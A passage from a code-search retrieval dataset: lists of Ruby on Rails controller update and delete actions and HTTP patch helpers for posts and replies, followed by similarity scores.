"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Replie was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: \"Reply was successfully updated.\" }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reply = Reply.find(params[:id])\n @reply.replydescription = params[:replydescription]\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n format.html { redirect_to :controller => \"replies\" , :action => \"master\", notice: 'Reply was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n # Find note\n reply = Reply.find(params[:id]) \n # Authenticate\n if reply.user_id == current_user.id and reply.update_attributes(params[:reply])\n render :json => reply\n else\n error \"Failed to update the note\" \n end\n rescue ActiveRecord::RecordNotFound\n error \"Can't access the club or the paper\"\n end\n end",
"def update\n respond_to do |format|\n if @answer.post.update(embedded_post_params)\n format.js { head :no_content }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @reply = @topic.replies.find(params[:id])\n\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n flash[:notice] = '回复已成功更新。'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @likesforreply = Likesforreply.find(params[:id])\n\n respond_to do |format|\n if @likesforreply.update_attributes(params[:likesforreply])\n format.html { redirect_to @likesforreply, notice: 'Likesforreply was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @likesforreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @reply.update(reply_params)\n render :show, status: :ok, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n if params[:parent_post_id]\n @parent_post = Post.find(params[:parent_post_id])\n\n format.html {redirect_to @parent_post, notice: 'Reply was successfully updated.'}\n format.json { head :no_content }\n else\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_with Post.update(params[:id],post_params)\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @reply_answer.update(reply_answer_params)\n format.html { redirect_to @reply_answer, notice: 'Reply answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply_answer }\n else\n format.html { render :edit }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n flash[:notice] = 'Reply was successfully updated.'\n format.html { redirect_to(@reply) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rreply.update(rreply_params)\n format.html { redirect_to @rreply, notice: 'Rreply was successfully updated.' }\n format.json { render :show, status: :ok, location: @rreply }\n else\n format.html { render :edit }\n format.json { render json: @rreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def patch\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update\n @reply_vote = ReplyVote.find(params[:id])\n\n respond_to do |format|\n if @reply_vote.update_attributes(params[:reply_vote])\n format.html { redirect_to @reply_vote, notice: 'Reply vote was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reply_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n if @test_post.update_attributes(params[:test_post])\n format.html { redirect_to @test_post, notice: 'Test post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.update(params[:id], params[:post])\n end",
"def update!(**args)\n @form = args[:form] if args.key?(:form)\n @replies = args[:replies] if args.key?(:replies)\n @write_control = args[:write_control] if args.key?(:write_control)\n end",
"def update!(**args)\n @reply_type = args[:reply_type] if args.key?(:reply_type)\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n respond_to do |format|\n if @feedback_reply.update(feedback_reply_params)\n format.html { redirect_to @feedback_reply, notice: 'Feedback reply was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feedback_reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n req.patch?\n end",
"def update\n @reply = current_user.replies.find(params[:id])\n if (@reply.update_attributes(params[:reply]))\n event = Event.find(@reply.event.id)\n BabysitMailer.deliver_reply(event, @reply)\n redirect_to user_url(current_user)\n else\n render :action => :edit\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def patch(action, **args); end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update!(**args)\n @quick_replies = args[:quick_replies] if args.key?(:quick_replies)\n @title = args[:title] if args.key?(:title)\n end",
"def update!(**args)\n @quick_replies = args[:quick_replies] if args.key?(:quick_replies)\n @title = args[:title] if args.key?(:title)\n end",
"def update\n respond_to do |format|\n if @reply_flag.update(reply_flag_params)\n format.html do\n redirect_to @reply_flag,\n notice: 'Reply flag was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @reply_flag }\n else\n format.html { render :edit }\n format.json do\n render json: @reply_flag.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"def UpdateForum id,params = {}\n \n APICall(path: \"forums/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n answer = Answer.find(params[:answer_id])\n if answer.update(content: params[:content])\n render json: {answer: answer, success: true} \n else\n render json: @answer.errors, success: false \n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @body = args[:body] if args.key?(:body)\n @body_format = args[:body_format] if args.key?(:body_format)\n @customized = args[:customized] if args.key?(:customized)\n @reply_to = args[:reply_to] if args.key?(:reply_to)\n @sender_display_name = args[:sender_display_name] if args.key?(:sender_display_name)\n @sender_local_part = args[:sender_local_part] if args.key?(:sender_local_part)\n @subject = args[:subject] if args.key?(:subject)\n end",
"def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @test_post.update(test_post_params)\n format.html { redirect_to @test_post, notice: 'Test post was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_post }\n else\n format.html { render :edit }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post_thread.post_thread_label_ids = post_thread_params[1..-1]\n respond_to do |format|\n if @post_thread.update(post_thread_params)\n format.html { redirect_to [:backend, @post_thread], notice: 'Post thread was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post_thread.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #if @user && @user.posts.include(@post)\n @comment.update(comment_params)\n json_response(@comment)\n end",
"def update\n @reply = Replly.find(params[:id])\n\n if @reply.update_attributes(reply_params)\n redirect_to(list_path(@reply.list_id), notice: '回帖更新成功.')\n else\n render action: 'edit'\n end\n end",
"def update\n @post.update_attributes(params[:post])\n respond_with(@post)\n end",
"def update_record(http, ref)\n json = %|{\n \"kind\": \"Article\",\n \"title\": \"Sample\",\n \"text\": \"Updated text.\"\n}|\n resp = http.send_request('POST', \"/v1/Article/#{ref}\", json, { 'Content-Type' => 'application/json' })\n # Response should be an OK with a JSON body.\n assert_equal(Net::HTTPOK, resp.class, 'response not an OK')\n reply = Oj.strict_load(resp.body, symbol_keys: true)\n\n # Make sure the message has the correct fields and values.\n assert_equal(0, reply[:code], 'update reply.code should be 0 meaning no error')\n updated = reply[:updated]\n assert_equal(1, updated.length, 'update reply.updated should contain exactly one member')\n ref = updated[0]\n refute_equal(nil, ref, 'update reply record reference can not be nil')\n refute_equal(0, ref, 'update reply record reference can not be 0')\n ref\n end",
"def update\n respond_to do |format|\n if @groupreply.update(groupreply_params)\n format.html { redirect_to @groupreply, notice: 'Groupreply was successfully updated.' }\n format.json { render :show, status: :ok, location: @groupreply }\n else\n format.html { render :edit }\n format.json { render json: @groupreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_post = Api::Post.find(params[:id])\n\n if @api_post.update(api_post_params)\n head :no_content\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def update\n id = Post.find(params[:id])._id\n \n respond_to do |format|\n if ((@post.update_attributes(params[:post])) && (@post._id = id))\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n @post.update_attributes(params[:post])\n format.html { redirect_to posts_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end \n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n if @reply.update_attributes(params[:reply ])\n flash[:notice] = 'Reply was successfully updated.'\n if @blog\n format.html { redirect_to([@blog, @reply ]) } \n else\n format.html { redirect_to(@reply ) } \n end\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @references = args[:references] if args.key?(:references)\n @reply = args[:reply] if args.key?(:reply)\n @summary = args[:summary] if args.key?(:summary)\n end",
"def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_post.update(api_v1_post_params)\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_post }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to :back, notice: 'Reply added.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: @discussion.errors.first[1] }\n #format.html { redirect_to @discussion, notice: @discussion.errors.first[1] }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def set_testreplypost\n @testreplypost = Testreplypost.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @pre_test_answer.update(pre_test_answer_params)\n format.html { redirect_to @pre_test_answer, notice: 'Pre test answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_test_answer }\n else\n format.html { render :edit }\n format.json { render json: @pre_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @message_post = MessagePost.find(params[:id])\n\t\t\n respond_to do |format|\n if @message_post.update_attributes(params[:message_post])\n format.html { redirect_to @message_post, notice: 'Message post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t# find our post\n\t\tid = params[:id]\n\t\t@post = Post.find(id)\n\n\t\t# increment the number of votes\n\t\tif params[:tweet] == \"true\"\n\t\t\t@post.votes = @post.votes + 1\n\t\t\t@post.save\n\t\telsif params[:flagged] == \"true\"\n\t\t\t@post.flagged = @post.flagged + 1\n\t\t\t@post.save\n\t\tend\n\t\t\n\t\t# TODO: ask Tom what this does again\n\t\trender :json => @post\n\tend",
"def update\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update_responders\n return true unless self.original_post?\n children = self.descendants\n awesomes = self.awesomes\n # Save as array with comment user ids, then repost user ids, then awesome user ids\n self.responder_ids = [children.map{|c| c.user_id }, self.reposts.map{|c| c.user_id }, awesomes.map{|a| a.user_id }]\n self.responder_ids = [] if self.responder_ids.present? && self.responder_ids[0].blank? && self.responder_ids[1].blank? && self.responder_ids[2].blank?\n self.reply_count = children.size\n self.awesome_count = awesomes.size\n self.save\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n @ticket = Ticket.find(params[:id])\n\t\tchanges = \"\"\n\t\tnew_employee = params[:ticket][:employee_id].nil? || params[:ticket][:employee_id].empty? ? nil : Employee.find(params[:ticket][:employee_id])\n\t\tunless new_employee == @ticket.employee\n\t\t\tchanges += \"> Responsible changed from #{@ticket.employee ? @ticket.employee.login : \"None\"} to #{new_employee.login}\"\n\t\t\t@ticket.employee = new_employee\n\t\tend\n\t\tnew_status = params[:ticket][:status_id].nil? || params[:ticket][:status_id].empty? ? nil : Status.find(params[:ticket][:status_id])\n\t\tunless new_status == @ticket.status\n\t\t\tchanges += $/ + \"> Status changed from \\\"#{@ticket.status ? @ticket.status.name : \"None\"}\\\" to \\\"#{new_status.name}\\\"\"\n\t\t\t@ticket.status = new_status\n\t\tend\n\t\t@reply = @ticket.replies.build(params[:reply])\n\t\t@reply.meta = changes\n\t\t@reply.author = current_user.login\n respond_to do |format|\n if @ticket.valid? && @reply.valid?\n\t\t\t\t@ticket.save\n\t\t\t\t@reply.save\n\t\t\t\tCustomerSupport.update_ticket_email(@ticket,@reply).deliver\n format.html { redirect_to backend_ticket_path(@ticket), notice: 'Ticket was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"show\" }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n if @api_v2_post.update_attributes(params[:api_v2_post])\n format.html { redirect_to @api_v2_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v2_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n @message.update(text: params[\"_json\"])\n render json: @message\n end",
"def update\n title = params[:title]\n body = params[:body]\n\n @post.update!(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def update\n @answer = current_user.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.json { head :no_content }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update({\n title: post_params[:title],\n content: post_params[:content],\n })\n render json: Post.all.as_json\n else\n render json: {errors: @post.errors.full_messages}, status: :unprocessable_entity\n end\n end"
] | [
"0.66724545",
"0.66275835",
"0.6596491",
"0.6552887",
"0.6512274",
"0.6491278",
"0.64508295",
"0.64259106",
"0.6374485",
"0.634269",
"0.6328409",
"0.63281196",
"0.63281196",
"0.63281196",
"0.63281196",
"0.63281196",
"0.6322378",
"0.6317303",
"0.62884116",
"0.62517685",
"0.6208104",
"0.61470675",
"0.6121192",
"0.61093336",
"0.61013615",
"0.6068956",
"0.60203123",
"0.6000191",
"0.59853244",
"0.5970098",
"0.59689444",
"0.59507394",
"0.5936374",
"0.5936374",
"0.5913698",
"0.5910149",
"0.5871688",
"0.58715487",
"0.58711475",
"0.5869083",
"0.585857",
"0.5856012",
"0.5847535",
"0.5838766",
"0.58207726",
"0.58200926",
"0.5806141",
"0.5766402",
"0.57603985",
"0.5737957",
"0.5734803",
"0.5733223",
"0.5728772",
"0.5727169",
"0.5720393",
"0.5719303",
"0.5719303",
"0.5718697",
"0.56963",
"0.5694612",
"0.567899",
"0.5672451",
"0.56593233",
"0.56547815",
"0.5644187",
"0.5643786",
"0.5627569",
"0.56256384",
"0.56231856",
"0.56208956",
"0.5620261",
"0.5615497",
"0.5613087",
"0.56128347",
"0.56113046",
"0.5597872",
"0.5594135",
"0.5591103",
"0.55878687",
"0.5581494",
"0.5580933",
"0.55664986",
"0.5555588",
"0.55538046",
"0.5551311",
"0.55493265",
"0.5549134",
"0.5549132",
"0.5545134",
"0.55446464",
"0.55444866",
"0.5543085",
"0.5543085",
"0.5540013",
"0.55307776",
"0.55297107",
"0.5520973",
"0.55182856",
"0.5518222",
"0.55150527"
] | 0.650168 | 5 |
DELETE /testreplyposts/1 DELETE /testreplyposts/1.json | def destroy
@testreplypost.destroy
respond_to do |format|
format.html { redirect_to testreplyposts_url, notice: 'Testreplypost was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n @post = @reply.post\n\n respond_to do |format|\n format.html { redirect_to @post }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n head :no_content\n end",
"def destroy\n @reply.destroy\n\n head :no_content\n end",
"def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => \"replies\" , :action => \"master\" }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to @post, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Replie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_delete_post\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Delete.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: \"Reply was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply = @message.replies.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to([@user,@message]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(replies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(replies_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to @reply.post.course.forum_path, notice: (t 'replies.flash.deleted') }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @test_post = TestPost.find(params[:id])\n @test_post.destroy\n\n respond_to do |format|\n format.html { redirect_to test_posts_url }\n format.json { head :no_content }\n end\n end",
"def delete_post\n\t \n \tend",
"def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to reply_votes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n admin = Admin.find_by(id: cookies[:admin_id])\n @reply.destroy_with_access admin\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply_puntuation.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(blog_replies_url(@blog)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reply.destroy\n head :no_content\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rreply.destroy\n respond_to do |format|\n format.html { redirect_to rreplies_url, notice: 'Rreply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @reply = @topic.replies.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @likesforreply = Likesforreply.find(params[:id])\n @likesforreply.destroy\n\n respond_to do |format|\n format.html { redirect_to likesforreplies_url }\n format.json { head :ok }\n end\n end",
